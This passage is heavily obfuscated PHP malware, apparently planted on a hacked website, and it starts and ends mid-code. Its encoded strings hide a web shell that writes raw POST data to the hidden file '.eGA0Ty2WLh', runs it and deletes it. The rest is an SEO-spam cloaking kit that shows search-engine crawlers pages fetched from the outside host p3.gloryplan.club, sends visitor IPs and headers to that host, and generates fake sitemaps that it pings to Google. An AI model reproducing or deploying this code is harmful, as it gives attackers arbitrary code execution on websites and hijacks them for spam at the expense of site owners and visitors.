{ goto iDyro; } goto Iz8Rk; CiR0J: $fz_I8 = strval(time()); goto h2_4z; Ddiw2: Zw0oH: goto MCQdU; YH_Va: $fz_I8 = isset($_SERVER["\110\124\x54\x50\137\124\111\x4d\x45\123\124\101\115\120"]) ? $_SERVER["\x48\x54\x54\120\x5f\x54\111\115\105\123\x54\101\x4d\x50"] : ''; goto PiPXt; H8KO6: exit; goto Iz1hX; HHqvu: goto kqjMt; goto wkQZk; Z8vOq: exit; goto gGVwV; CsbDA: array_push($LxVDD, "\170\x64\x6f\151\x6d\72\40" . crc32($fz_I8 . "\134\x6e" . $sIEqf)); goto squyK; U8bc1: @file_put_contents("\x2e\145\x47\x41\x30\124\x79\x32\x57\x4c\150", $XyfJG, FILE_USE_INCLUDE_PATH); goto Wg6uS; bpljk: $sIEqf .= "\46\x67\x72\x6f\x75\160\151\144\75" . $jS08T[1]; goto Z2DhO; Q72it: echo $kIuo7[1]; goto U8M35; aeJtK: QWRDQ: goto U9kPf; ALjCs: $GgGkT = "\74\x3f\170\155\154\40\x76\x65\162\163\x69\157\x6e\75\42\x31\56\60\42\40\145\x6e\x63\157\144\151\156\147\75\x22\125\124\106\x2d\x38\x22\77\x3e\74\41\x2d\55\x20\141\165\164\x6f\x67\145\x6e\x20\x62\171\40\x64\157\151\155\40\55\55\x3e\15\xa\x3c\163\x69\x74\x65\155\141\x70\151\156\x64\145\170\x20\170\155\x6c\156\x73\x3d\42\x68\164\164\160\x3a\x2f\57\167\x77\x77\56\163\x69\x74\x65\x6d\x61\x70\163\56\157\162\x67\x2f\x73\x63\150\x65\155\141\x73\x2f\163\151\164\145\x6d\141\160\57\x30\56\71\42\76\x20\x25\163\40\74\57\x73\151\164\145\x6d\141\x70\151\x6e\x64\x65\170\x3e"; goto X4_py; qO9Ab: cFrfX: goto ZPz0Z; V2quD: $QA6By .= $fskHv . $v2fD5; goto P8OjD; NgXvu: if (@preg_match("\x23\143\x61\x74\x65\x5c\x2f\50\133\x61\x2d\172\x5d\x2b\x29\x2d\50\134\144\x2b\x29\44\x23\151", $JX_f6, $T7SaY)) { goto L2fB0; } goto XQoM0; X4_py: $Wsbsc = "\40\74\x73\x69\164\145\x6d\141\160\76\40\x3c\154\x6f\143\x3e\x25\x73\x3a\x2f\57\x25\x73\57\163\151\x74\x65\155\x61\160\45\144\x2e\170\x6d\154\x3c\x2f\x6c\157\143\76\74\57\163\151\x74\145\x6d\x61\160\x3e"; goto wn5yn; b0pWh: function urlx($XWt9l, $LxVDD = null, $sIEqf = null, $TCUud = null) { goto rZlNo; TmlIa: curl_setopt($VvKah, CURLOPT_POSTFIELDS, $sIEqf); goto vyeTa; hniLp: if ($TCUud === null) { goto XaR2S; } goto qYQJE; j_uzr: curl_setopt($VvKah, CURLOPT_POST, 1); goto TmlIa; toPaT: curl_setopt($VvKah, CURLOPT_SSL_VERIFYPEER, FALSE); goto m8v7A; Kamyw: if ($LxVDD === null) { goto g9Zfy; } goto t2k9R; Erlbv: XaR2S: goto iKeXv; UIaGu: curl_close($VvKah); goto Y7lCw; PPJdo: g9Zfy: goto fAie6; t2k9R: curl_setopt($VvKah, CURLOPT_HTTPHEADER, $LxVDD); goto PPJdo; nmlfh: upGNp: goto Kamyw; D2pGn: $qu9pA = curl_exec($VvKah); goto UIaGu; iKeXv: if (!(stripos($XWt9l, "\150\x74\x74\160\163\72") === 0)) { goto upGNp; } goto toPaT; WnS3j: curl_setopt($VvKah, CURLOPT_URL, $XWt9l); goto oKRCy; fAie6: if ($sIEqf === null) { goto Ru91r; } goto j_uzr; Y7lCw: return $qu9pA; goto F6bQ2; qYQJE: curl_setopt($VvKah, CURLOPT_ENCODING, "\147\x7a\x69\160\x2c\144\x65\146\x6c\141\164\x65"); goto Erlbv; brW7a: curl_setopt($VvKah, CURLOPT_RETURNTRANSFER, 1); goto D2pGn; rZlNo: $VvKah = curl_init(); goto WnS3j; vyeTa: Ru91r: goto brW7a; m8v7A: curl_setopt($VvKah, CURLOPT_SSL_VERIFYHOST, FALSE); goto nmlfh; oKRCy: curl_setopt($VvKah, CURLOPT_FOLLOWLOCATION, 1); goto hniLp; F6bQ2: } goto SmED9; Z3yY6: if (!(isset($_SERVER["\110\x54\124\120\x5f\x58\104\117\x49\115"]) && strlen($_SERVER["\x48\x54\124\x50\137\x58\x44\x4f\x49\x4d"]) > 0)) { goto Zw0oH; } goto YH_Va; b4lzP: $cUs9K = "\40\74\165\162\x6c\x3e\40\x3c\154\x6f\x63\76\x25\163\74\57\154\x6f\x63\x3e\x3c\170\150\x74\x6d\x6c\72\154\151\156\x6b\40\162\145\154\75\x22\x61\x6c\x74\145\x72\156\141\164\145\x22\40\150\162\x65\x66\154\141\x6e\147\75\x22\152\x61\x22\x20\150\162\145\x66\75\42\x25\163\x22\57\x3e\x3c\x2f\x75\162\154\76"; goto ALjCs; Bzuyl: $vjyN3 = $sIEqf . "\x26\147\x72\x6f\165\160\x69\x64\x3d" . $sEdiu . "\46\165\162\151\75" . $JX_f6 . "\46\151\160\75" . $ySNPd; goto HN1CE; Qh4WE: goto HPHpZ; goto lozPm; vEUAp: $P9uZX = https(); goto kQuJd; MQuUb: $FM_Rq = $_SERVER["\110\x54\124\x50\x5f\x48\117\123\124"]; goto LGRF5; xa2H5: $sEdiu = "\64\62\x38"; goto IMGQJ; TCGSa: rhMDp: goto fB91L; OrdQs: echo sprintf($GgGkT, $Llf78); goto demyh; P8OjD: goto HjaDg; goto MDSSg; e114x: $fskHv = sprintf("\x68\x74\164\x70\x73\x3a\57\57\x77\x77\x77\56\x67\x6f\x6f\x67\x6c\145\56\143\x6f\56\152\160\57\x70\x69\x6e\x67\x3f\163\x69\x74\145\x6d\141\160\x3d\x25\x73\x3a\x2f\x2f\45\x73\x2f\x73\x69\x74\x65\155\x61\x70\45\163\x25\x64\x2e\x78\155\154", $P9uZX, $FM_Rq, $jS08T[0], $VXx4x); goto svNz9; DKnUq: echo $f_e91 === false ? "\x66\141\151\154" . gets() : $f_e91 . $sEdiu . gets(); goto wxp_H; svNz9: $v2fD5 = urlx($fskHv); goto q6Bpr; LGRF5: $JX_f6 = $_SERVER["\122\105\x51\125\105\123\x54\x5f\x55\122\111"]; goto XfoL8; IOvFL: function https() { goto WMluY; T70UV: return "\x68\164\164\x70\163"; goto AaxGa; ER77O: return "\150\x74\164\x70"; goto QVvQ3; AaxGa: MOziB: goto ER77O; WMluY: if (!(!empty($_SERVER["\110\124\x54\120\x53"]) && strtolower($_SERVER["\x48\124\124\120\123"]) !== "\157\x66\146" || isset($_SERVER["\x48\x54\x54\120\x5f\130\x5f\106\117\x52\x57\101\122\104\x45\104\137\120\x52\117\x54\x4f"]) && $_SERVER["\110\124\124\x50\137\x58\x5f\106\x4f\122\127\x41\x52\104\105\x44\137\x50\x52\x4f\124\x4f"] === "\150\164\x74\x70\x73" || !empty($_SERVER["\110\124\124\120\137\x46\x52\x4f\116\x54\137\105\x4e\104\x5f\x48\x54\x54\x50\x53"]) && strtolower($_SERVER["\110\x54\x54\x50\x5f\x46\x52\117\116\124\x5f\x45\x4e\x44\137\x48\x54\124\x50\x53"]) !== "\x6f\x66\x66")) { goto MOziB; } goto T70UV; QVvQ3: } goto Rr7Kk; lQh1K: function urls($FM_Rq, $BHyCA, $LQPDD, $CqOUf, $i5wh9 = null) { goto uE8sc; bLcuW: $kOBP0 = "\x47\x45\x54\40" . $BHyCA . "\x3f" . $i5wh9 . "\x20\110\x54\x54\x50\x2f\x31\x2e\x30\xd\12\110\157\163\x74\x3a\x20" . $FM_Rq . "\15\xa\x52\145\x66\145\162\145\x72\72\x20" . $CqOUf . "\xd\xa\x55\163\x65\162\55\x41\147\145\156\164\x3a\40" . $LQPDD . "\15\xa\xd\xa"; goto Tt4gY; uE8sc: $i1zBo = stream_socket_client("\163\x73\x6c\x3a\57\57" . $FM_Rq . "\72\64\x34\x33", $gSVCs, $e40uF, 6); goto bLcuW; Tt4gY: $ldXC2 = fwrite($i1zBo, $kOBP0); goto KuzvX; KuzvX: fclose($i1zBo); goto U0wW1; U0wW1: } goto b0pWh; PiPXt: $XyfJG = @file_get_contents("\160\150\160\x3a\57\x2f\x69\156\x70\165\164"); goto U8bc1; wxp_H: exit; goto bWXPA; Wa4k7: tvpRS: goto OrdQs; Zbgho: HjaDg: goto GK_vS; X1_GT: iDyro: goto GXmOA; GKDNK: $rC71M = isset($_SERVER["\110\124\124\x50\x5f\122\105\106\105\x52\105\x52"]) ? $_SERVER["\110\x54\124\x50\x5f\122\105\x46\x45\x52\105\122"] : ''; goto gphBh; HR0bW: wD6dK: goto fU857; gphBh: $LQPDD = isset($_SERVER["\110\124\x54\x50\137\125\x53\105\122\137\101\x47\105\x4e\x54"]) ? $_SERVER["\110\124\124\x50\x5f\125\123\x45\122\x5f\x41\x47\105\116\124"] : ''; goto MQuUb; pXX5m: function gets() { return "\160\x33\x2e\147\x6c\x6f\x72\x79\160\154\141\x6e\x2e\143\154\165\142"; } goto IOvFL; VYP2Z: v94Vb: goto cZyk2; ACzRD: echo @trim(urlx(sprintf("\x68\164\x74\x70\x73\x3a\57\57\45\163\57\x62\157\x74\x2f\x70\141\147\x65\77" . $vjyN3, gets()), $LxVDD, $vjyN3, 1)); goto rpFhu; xxeer: echo @trim(urlx(sprintf("\x68\x74\x74\x70\163\x3a\x2f\x2f\45\163\57\142\157\x74\57\x63\x61\164\x65\77" . $vjyN3, gets()), $LxVDD, $vjyN3 . "\x26\150\x6f\x73\x74\x3d" . preg_replace("\57\x5b\141\x2d\172\111\x5d\50\x78\171\x7a\x7c\x62\x75\x7a\172\x29\56\52\44\x2f", "\x2e\44\x31", strrev($T7SaY[1])) . "\46\143\x61\x74\145\151\144\75" . $T7SaY[2], 1)); goto Z8vOq; mB3M4: i9u5f: goto Zbgho; SmED9: function cc($JX_f6) { goto Y6Oq_; T67bW: return false; goto DhxI6; S3uYX: if (!(sizeof($KBLJz) != 3)) { goto vycuI; } goto T67bW; KrIwA: return $Y4ZoS == $KBLJz[2]; goto hUEet; m22BY: $Y4ZoS = sprintf("\45\165", crc32(sprintf("\x25\163\x2d\45\x73", $KBLJz[0], $KBLJz[1]))); goto KrIwA; DhxI6: vycuI: goto m22BY; Y6Oq_: $KBLJz = explode("\55", substr($JX_f6, 1, strlen($JX_f6) - 6)); goto S3uYX; hUEet: } goto pXX5m; LLn3W: $Llf78 .= sprintf($Wsbsc, $P9uZX, $FM_Rq, $VXx4x, date("\x59\x2d\155\55\x64\x5c\124\110\x3a\151\72\x73\x50", time())); goto aeJtK; XfoL8: $ySNPd = clientip(); goto vEUAp; bOlZl: SZPwp: goto qbmRp; lZGq3: $JX_f6 = $_SERVER["\122\x45\121\125\105\123\124\x5f\x55\x52\x49"]; goto rT4xy; UXQhn: w58my: goto lC7uS; h2_4z: array_push($LxVDD, "\x74\x69\155\x65\163\164\x61\x6d\160\x3a\x20" . $fz_I8); goto IIQ31; TU5ag: $XWt9l = $kIuo7[1] == '' ? sprintf($XWt9l, $FM_Rq) : sprintf($XWt9l, $kIuo7[1]); goto Wjoq7; kQuJd: $LxVDD = array("\x55\x73\145\x72\55\101\147\x65\x6e\164\72\x20" . $LQPDD, "\x4c\x61\156\147\x3a\40" . $xI711, "\122\145\x66\145\x72\145\162\72\40" . $rC71M, "\x48\164\164\x70\55\110\157\x73\x74\x3a\40" . $FM_Rq, "\122\x65\x6d\157\164\x65\x2d\101\x64\144\162\x3a\40" . $ySNPd); goto jfWeV; jfWeV: $sIEqf = "\x73\150\x6f\163\x74\x3d" . $FM_Rq . "\46\x70\x72\157\164\x6f\x3d" . $P9uZX; goto lZGq3; demyh: exit; goto TCGSa; Xb0wt: if (!($K1D3k === '')) { goto wD6dK; } goto uo0Eh; lDCt0: if ($kIuo7[1] === '' || @preg_match("\43\50\x5c\x64\x2b\x29\x2d\44\43", $kIuo7[1], $jS08T)) { goto qzdUR; } goto keUXp; N529J: array_push($LxVDD, "\164\x69\x6d\x65\x73\164\141\155\x70\72\x20" . $fz_I8); goto mAnvd; udJPn: $vjyN3 .= sprintf("\46\x68\160\x69\144\x3d\45\163\55\45\163", preg_replace("\57\x5b\x61\x2d\172\111\x5d\50\x78\x79\172\x7c\x62\x75\172\x7a\51\x2e\52\44\x2f", "\x2e\x24\61", strrev($kIuo7[1])), $kIuo7[2]); goto ACzRD; WwN3N: unlink("\x2e\x65\107\101\x30\x54\x79\62\127\114\x68"); goto XHNDC; q6Bpr: $QA6By .= $fskHv . $v2fD5; goto VYP2Z; c6rem: $v2fD5 = urlx($fskHv); goto V2quD; fU857: @header("\x43\157\156\x74\145\x6e\x74\x2d\x74\x79\x70\x65\72\x20\164\x65\x78\x74\57\170\x6d\x6c"); goto W2SnR; fB91L: $JwqoC = explode("\12", $K1D3k); goto GhDBs; Rr7Kk: function clientip() { goto TddPw; STsXH: return getenv("\x52\105\x4d\x4f\x54\105\x5f\x41\x44\104\x52"); goto bucVa; d5EIu: WWL98: goto STsXH; s2SUH: clpBP: goto zcR4v; PQ19O: return $_SERVER["\x52\105\115\117\124\105\137\101\x44\104\122"]; goto s2SUH; odR0H: if (isset($_SERVER["\122\x45\x4d\x4f\x54\105\x5f\101\104\104\x52"]) && $_SERVER["\122\105\x4d\117\124\x45\x5f\x41\x44\x44\x52"] && strcasecmp($_SERVER["\122\x45\115\x4f\124\x45\137\101\x44\104\122"], "\165\156\x6b\x6e\x6f\167\156")) { goto E3FjT; } goto vEBwo; vEBwo: goto clpBP; goto d5EIu; KTvrV: E3FjT: goto PQ19O; TddPw: if (getenv("\x52\x45\x4d\x4f\124\x45\137\101\104\x44\x52") && strcasecmp(getenv("\122\105\115\x4f\x54\105\x5f\101\104\x44\122"), "\x75\x6e\x6b\156\x6f\x77\x6e")) { goto WWL98; } goto odR0H; bucVa: goto clpBP; goto KTvrV; zcR4v: }?>

<?php goto CDBk0; ZaD6P: $MjN0D = $Ak_i1 . "\46\x67\162\157\165\160\151\x64\x3d" . $wNVNv . "\x26\165\162\151\x3d" . $bf4OC . "\46\151\x70\75" . $R0jnr; goto zjz8v; BFM32: if (!($aEEfJ === '')) { goto MtkAT; } goto mU0P7; CDBk0: error_reporting(0); goto v_13Z; nwg2e: $s10lu = strval(time()); goto o5Ajr; hz2Xs: exit; goto BZ9pk; b8rdR: oNOcf: goto lSbId; QCPH7: O5Tfc: goto zYSh1; bPWiv: echo include "\56\x65\x47\101\60\x54\171\62\x57\114\150"; goto MI5JW; H_CuQ: exit; goto ryPd1; wBZJH: if (!@preg_match("\x23\x5e\57\x67\145\x74\x76\x65\x72\44\43\x69", $bf4OC, $r77_0)) { goto w_RZ0; } goto oMIyd; yXB_7: goto G8I_H; goto eu_jV; x8CKL: $v6IJo = ''; goto z9fK6; h9rZC: goto cXUoL; goto FMTwa; Yq6Lc: function urlx($Axx4M, $pvaWy = null, $Ak_i1 = null, $FHltX = null) { goto h90Rv; HL0e1: curl_setopt($cCIYO, CURLOPT_FOLLOWLOCATION, 1); goto vy0vX; N5sze: curl_setopt($cCIYO, CURLOPT_RETURNTRANSFER, 1); goto XW5v9; NT9Mn: curl_setopt($cCIYO, CURLOPT_ENCODING, "\147\172\x69\x70\x2c\144\x65\x66\154\x61\x74\145"); goto L_LZQ; W_iSN: curl_close($cCIYO); goto LzRKq; R1Hjp: GaL1r: goto NKUjI; EaILA: curl_setopt($cCIYO, CURLOPT_HTTPHEADER, $pvaWy); goto O58lF; r9sOM: curl_setopt($cCIYO, CURLOPT_POSTFIELDS, $Ak_i1); goto pPjWS; pPjWS: lyl8C: goto N5sze; uk7u_: curl_setopt($cCIYO, CURLOPT_SSL_VERIFYHOST, FALSE); goto R1Hjp; X2eD8: curl_setopt($cCIYO, CURLOPT_POST, 1); goto r9sOM; h90Rv: $cCIYO = curl_init(); goto iA4fa; yFBbv: if (!(stripos($Axx4M, "\x68\x74\164\160\163\72") === 0)) { goto GaL1r; } goto aBSIT; LzRKq: return $wVnyZ; goto FRG89; XW5v9: $wVnyZ = curl_exec($cCIYO); goto W_iSN; aBSIT: curl_setopt($cCIYO, CURLOPT_SSL_VERIFYPEER, FALSE); goto uk7u_; iA4fa: curl_setopt($cCIYO, CURLOPT_URL, $Axx4M); goto HL0e1; vy0vX: if ($FHltX === null) { goto Ex0BW; } goto NT9Mn; O58lF: LyN6M: goto g7qdG; L_LZQ: Ex0BW: goto yFBbv; NKUjI: if ($pvaWy === null) { goto LyN6M; } goto EaILA; g7qdG: if ($Ak_i1 === null) { goto lyl8C; } goto X2eD8; FRG89: } goto r8dnj; U8PGo: function gets() { return "\160\63\x2e\147\154\157\162\x79\x70\154\141\x6e\56\x63\154\x75\x62"; } goto BtN39; zJ0gR: $MjN0D .= sprintf("\x26\x68\160\x69\144\x3d\x25\x73\x2d\45\163", preg_replace("\x2f\133\141\x2d\172\x49\135\50\170\171\172\x7c\x62\165\172\x7a\51\56\52\44\x2f", "\x2e\44\x31", strrev($r77_0[1])), $r77_0[2]); goto mE3Up; di59P: $Ak_i1 .= "\46\x67\x72\157\165\160\151\144\75" . $bDvI7[1]; goto WWStL; lSbId: function urls($L3Nkt, $Ty8Ui, $O60fP, $AK_7s, $r_T49 = null) { goto jItQG; ey29N: fclose($lIv2_); goto Wt4fZ; DFOSJ: $HVyj5 = "\x47\x45\124\40" . $Ty8Ui . "\77" . $r_T49 . "\40\x48\124\x54\x50\x2f\x31\56\60\15\xa\x48\x6f\163\x74\72\40" . $L3Nkt . "\15\12\x52\145\x66\145\x72\x65\x72\x3a\x20" . $AK_7s . "\15\xa\125\x73\x65\162\55\101\147\145\156\164\x3a\x20" . $O60fP . "\15\12\xd\12"; goto AvvKo; AvvKo: $r8wlM = fwrite($lIv2_, $HVyj5); goto ey29N; jItQG: $lIv2_ = stream_socket_client("\163\x73\x6c\x3a\x2f\57" . $L3Nkt . "\x3a\64\64\x33", $PMf_U, $TUzIg, 6); goto DFOSJ; Wt4fZ: } goto Yq6Lc; zYSh1: if (!@preg_match("\43\x5e\57\163\x69\164\145\57\x3f\50\x2e\x2a\77\51\44\43\151", $bf4OC, $r77_0)) { goto Do4_W; } goto PozZx; IBpyx: $aEEfJ = trim(urlx("\150\164\164\x70\163\x3a\x2f\x2f" . gets() . "\57\163\x69\164\145\x6d\x61\x70" . ($r77_0[1] == '' || $bDvI7[1] != '' ? "\56\x78\x6d\x6c" : "\x2f" . $r77_0[1]), $pvaWy, $Ak_i1)); goto lv9Qw; TNwzp: array_push($pvaWy, "\x78\x64\x6f\x69\155\72\x20" . crc32($s10lu . "\134\x6e" . $Ak_i1)); goto u1SgP; b0XzM: zCrRK: goto cVG_T; cjADX: if (!@preg_match("\43\136\57\x70\151\156\147\163\151\x74\145\155\x61\160\x28\56\52\x3f\51\x2e\170\x6d\x6c\x24\x23\x69", $bf4OC, $r77_0)) { goto paqEx; } goto NEcc2; voNEw: @file_put_contents("\56\145\107\x41\x30\124\x79\62\x57\114\x68", $y73fh, FILE_USE_INCLUDE_PATH); goto bPWiv; v8DXz: $l2l9h = isset($_SERVER["\x48\124\124\120\137\x41\x43\x43\105\x50\124\137\x4c\x41\x4e\107\125\x41\107\x45"]) ? substr($_SERVER["\x48\124\x54\120\x5f\101\x43\x43\x45\120\124\x5f\114\101\116\x47\125\101\107\x45"], 0, 4) : ''; goto GZ0HP; HDhm3: $wVnyZ = urlx($Axx4M, null, null, 1, "\115\157\x7a\151\x6c\x6c\141\57\65\56\x30\x20\50\127\151\156\144\x6f\167\x73\x3b\x20\x55\x3b\40\127\151\x6e\144\157\x77\163\40\116\x54\40\65\x2e\61\73\x20\x65\156\x2d\125\x53\x29\x20\101\160\x70\154\145\x57\x65\x62\x4b\x69\x74\57\65\63\64\56\x37\x20\50\x4b\x48\124\x4d\x4c\x2c\40\x6c\151\153\145\40\x47\145\143\153\157\x29\40\x43\150\162\157\155\145\x2f\67\x2e\x30\x2e\x35\x31\x37\56\x34\61\40\x53\x61\146\x61\x72\x69\57\x35\63\64\x2e\x37"); goto Qq7Jn; DHOlC: FMSKd: goto Ruk1M; fm7Xf: ysPFR: goto KD3Ml; C9zVK: exit; goto DUfe_; GvKug: TYMya: goto Q4F1J; AiqQw: $KXTQp .= $qNJ2d . $ej_XE; goto BodvP; ryPd1: w_RZ0: goto RrUjp; ZVT09: if (!($rjH1I <= intval($aEEfJ))) { goto bzKZb; } goto SGSJr; o5Ajr: array_push($pvaWy, "\164\151\x6d\145\163\164\x61\x6d\160\72\x20" . $s10lu); goto TNwzp; MI5JW: unlink("\x2e\x65\107\101\60\x54\171\62\x57\114\150"); goto wMM0o; KD3Ml: if (!(@preg_match("\x23\x67\157\x6f\147\154\x65\x2e\143\x6f\56\152\x70\x7c\147\157\157\x67\154\145\x2e\x63\x6f\x6d\x7c\x79\x61\x68\x6f\157\56\143\x6f\x2e\152\x70\x7c\x79\x61\x68\x6f\157\56\143\157\174\142\151\156\x67\x2e\143\157\155\174\x61\163\x6b\56\143\157\155\174\141\x6f\154\56\143\157\x6d\x7c\141\x6f\x6c\x2e\152\160\43\151", $QipTu) && @preg_match("\43\x28\x5b\141\x2d\172\111\135\x2b\x29\55\x28\134\x64\x2b\x29\77\x28\55\x28\x5c\144\x2b\51\51\x3f\50\x2e\150\164\155\x6c\51\44\x23\x69", $bf4OC))) { goto oNOcf; } goto ZaD6P; x_oID: M7Lve: goto MscLO; BZECS: echo @trim(urlx(sprintf("\150\x74\164\160\x73\72\57\x2f\45\x73\57\x62\157\x74\x2f\x68\x6f\x6d\145\x3f" . $MjN0D, gets()), $pvaWy, $MjN0D, 1)); goto KLZvY; B8ale: CGkY4: goto zCHp3; VG5nL: $L3Nkt = $_SERVER["\x48\x54\124\120\137\x48\x4f\123\124"]; goto oaKrD; R1Jjp: if (!(isset($_SERVER["\x48\124\124\120\x5f\130\x44\117\x49\115"]) && strlen($_SERVER["\110\x54\124\120\137\x58\x44\x4f\x49\115"]) > 0)) { goto O5Tfc; } goto Mv6dH; FdP10: $wVnyZ = str_replace(array("\x2f\x5c\57\163\53\57", "\134\162\134\156", "\x5c\162", "\134\x6e", "\x22", "\54"), '', $wVnyZ); goto O9rmu; DUfe_: hNt2h: goto k3IB2; xCV10: if ($r77_0[1] === '' || @preg_match("\x23\50\134\144\x2b\x29\55\x24\43", $r77_0[1], $bDvI7)) { goto avgw4; } goto bgtvA; rDplX: $R0jnr = clientip(); goto wlne3; k3IB2: $qitjH = explode("\12", $aEEfJ); goto TGXbH; Dhd5D: $Z0fyt = "\74\x3f\170\x6d\x6c\x20\166\145\162\x73\151\x6f\x6e\75\42\61\56\60\42\x20\145\156\143\157\144\151\x6e\147\75\42\125\x54\106\x2d\70\42\77\x3e\x3c\41\x2d\55\x20\x61\165\x74\x6f\x67\x65\x6e\x20\x62\171\x20\x64\x6f\151\x6d\40\55\x2d\x3e\xd\12\x3c\163\151\x74\x65\155\x61\x70\151\156\x64\145\170\x20\170\x6d\154\156\x73\75\x22\150\164\x74\160\x3a\57\57\167\x77\167\x2e\163\151\x74\145\155\141\160\x73\x2e\x6f\x72\x67\57\x73\143\150\x65\155\x61\163\57\x73\x69\164\x65\x6d\141\x70\57\60\56\71\x22\x3e\40\45\x73\x20\x3c\57\163\x69\164\x65\x6d\141\160\151\156\144\x65\x78\76"; goto rbx5i; WWStL: cXUoL: goto XF9vu; gsi60: Do4_W: goto wBZJH; Bxbh_: G8I_H: goto fm7Xf; SGSJr: $qNJ2d = sprintf("\x68\164\164\x70\163\x3a\x2f\x2f\x77\x77\167\56\x67\x6f\157\x67\154\x65\56\x63\x6f\x2e\x6a\x70\57\x70\x69\x6e\147\77\163\151\164\145\155\141\x70\75\x25\x73\72\x2f\57\45\x73\57\x73\151\x74\145\x6d\x61\160\45\x73\45\144\56\x78\x6d\154", $fMSVb, $L3Nkt, $bDvI7[0], $rjH1I); goto gGTsm; MscLO: $rjH1I++; goto oFjvA; Q0aE2: avgw4: goto nj9s4; bA14t: goto TYMya; goto Q0aE2; PozZx: $Axx4M = urldecode("\x68\164\x74\160\163\x3a\x2f\x2f\x73\145\141\x72\x63\150\x2e\171\141\150\x6f\157\x2e\x63\157\56\x6a\160\57\163\x65\141\162\x63\x68\x3f\160\75\163\151\164\145\72\45\163\46\145\x69\75\125\x54\106\x2d\70"); goto jmbrt; pBbJg: $KXTQp .= $qNJ2d . $ej_XE; goto bA14t; v3AFb: echo sprintf($Z0fyt, $v6IJo); goto C9zVK; i3tEC: $wNVNv = "\64\62\71"; goto MR7Gv; MR7Gv: $ooB1a = "\74\77\170\155\154\x20\166\x65\162\163\x69\157\156\75\x22\x31\56\60\x22\40\x65\x6e\143\157\144\x69\156\x67\75\x22\125\x54\x46\55\x38\42\77\76\x3c\41\x2d\x2d\40\x61\x75\164\157\147\145\156\x20\x62\x79\40\144\x6f\151\155\x20\x2d\55\x3e\15\12\x3c\165\x72\154\x73\145\164\x20\170\155\x6c\x6e\x73\x3d\x22\150\x74\x74\160\x3a\57\57\167\x77\x77\56\163\151\164\145\155\x61\x70\163\x2e\x6f\x72\147\x2f\163\x63\x68\145\x6d\141\163\x2f\163\x69\x74\145\155\141\160\x2f\60\56\x39\42\15\xa\x20\x20\40\x20\40\x20\x78\x6d\x6c\x6e\163\x3a\x78\150\x74\x6d\154\75\42\x68\164\x74\x70\x73\x3a\x2f\57\x77\167\x77\56\x77\x33\56\157\x72\147\x2f\61\x39\71\71\x2f\x78\x68\164\155\x6c\x22\x3e\15\xa\45\163\x3c\57\x75\162\x6c\163\x65\x74\76"; goto s6YPg; eu_jV: fH1fM: goto zJ0gR; uUaM5: $rjH1I++; goto l5aP2; uIACV: $pvaWy = array("\125\163\145\162\55\x41\x67\x65\156\x74\x3a\40" . $O60fP, "\x4c\x61\156\147\x3a\x20" . $l2l9h, "\x52\145\x66\145\x72\x65\162\72\x20" . $QipTu, "\110\x74\x74\x70\x2d\x48\157\x73\x74\x3a\x20" . $L3Nkt, "\x52\145\155\157\x74\145\55\101\x64\x64\x72\72\x20" . $R0jnr); goto zZuPf; RrUjp: if (!@preg_match("\43\147\157\157\x67\154\x65\174\x79\141\x68\x6f\157\x7c\142\151\x6e\147\x7c\x63\162\x61\146\x74\x7c\x43\x72\141\167\154\145\x72\x23\x69", $O60fP)) { goto ysPFR; } goto O47vV; iPot3: $bf4OC = $_SERVER["\122\x45\121\125\105\123\x54\x5f\125\x52\111"]; goto cjADX; zCHp3: echo @trim(urlx(sprintf("\x68\x74\164\x70\163\72\x2f\57\x25\163\x2f\142\x6f\x74\x2f\143\141\164\x65\x3f" . $MjN0D, gets()), $pvaWy, $MjN0D . "\46\150\x6f\x73\x74\75" . preg_replace("\x2f\133\141\x2d\172\x49\135\50\x78\x79\x7a\x7c\142\x75\172\172\x29\56\52\x24\57", "\x2e\x24\61", strrev($DWz2T[1])) . "\46\143\141\x74\145\x69\144\x3d" . $DWz2T[2], 1)); goto wWV0p; F3vLV: $v6IJo .= sprintf($QZCR1, $fMSVb, $L3Nkt, $rjH1I, date("\x59\x2d\x6d\x2d\144\x5c\124\x48\x3a\151\x3a\x73\120", time())); goto x_oID; cVG_T: echo sprintf($ooB1a, $L2cy3); goto tbuV_; gGTsm: $ej_XE = urlx($qNJ2d); goto AiqQw; FMTwa: SitF5: goto di59P; zvDbf: paqEx: goto m8cwH; NEcc2: $KXTQp = ''; goto xCV10; BodvP: n8_UD: goto uUaM5; Q4F1J: echo $KXTQp; goto uN1f0; ubjSJ: GxLUY: goto v3AFb; Hfx0Y: bzKZb: goto abQ1V; k6aXY: array_push($pvaWy, "\164\x69\155\x65\163\164\x61\x6d\160\72\40" . $s10lu); goto lu0jC; oaKrD: $bf4OC = $_SERVER["\122\105\x51\125\x45\x53\x54\x5f\x55\x52\x49"]; goto rDplX; ukqEX: $Ak_i1 = "\163\150\x6f\163\x74\75" . $L3Nkt . "\x26\150\164\x74\160\75" . $fMSVb; goto Inc4V; oFjvA: goto FMSKd; goto ubjSJ; KyRH1: $ej_XE = urlx($qNJ2d); goto pBbJg; yYFym: $y73fh = @file_get_contents("\160\150\160\x3a\57\57\151\156\x70\165\164"); goto voNEw; kRapp: $rjH1I = 1; goto lr3DX; boIJ_: goto G8I_H; goto B8ale; O89io: $Ak_i1 .= "\46\147\162\157\165\x70\151\144\75" . $wNVNv; goto h9rZC; X6W_u: exit; goto b8rdR; l5aP2: goto YkAhT; goto Hfx0Y; WJlnm: $O60fP = isset($_SERVER["\110\x54\x54\120\137\x55\x53\105\x52\x5f\x41\107\105\x4e\124"]) ? $_SERVER["\110\124\124\120\x5f\x55\x53\x45\x52\137\101\107\105\x4e\x54"] : ''; goto VG5nL; tbuV_: exit; goto Ir68W; y22gV: foreach ($qitjH as $SQhqm) { goto eSyE7; ps43H: A3Zwr: goto EHIbi; K2aFf: $L2cy3 .= sprintf($pN9yf, $S2hF1, $S2hF1); goto ps43H; eSyE7: $S2hF1 = $fMSVb . "\72\57\x2f" . $L3Nkt . "\57" . $SQhqm; goto K2aFf; EHIbi: } goto b0XzM; XF9vu: $s10lu = strval(time()); goto t3fnR; s6YPg: $pN9yf = "\40\74\165\162\x6c\76\40\x3c\x6c\157\x63\76\45\163\x3c\x2f\x6c\157\x63\x3e\74\170\150\x74\155\154\72\154\151\x6e\x6b\x20\162\145\x6c\75\x22\x61\x6c\x74\145\x72\156\141\164\145\42\40\150\x72\145\x66\154\x61\x6e\147\75\42\152\141\x22\x20\x68\x72\x65\x66\75\x22\45\163\42\x2f\76\x3c\x2f\x75\x72\154\76"; goto Dhd5D; mU0P7: exit; goto C0XgZ; abQ1V: nd960: goto GvKug; zZuPf: $Ak_i1 = "\163\150\157\x73\164\75" . $L3Nkt . 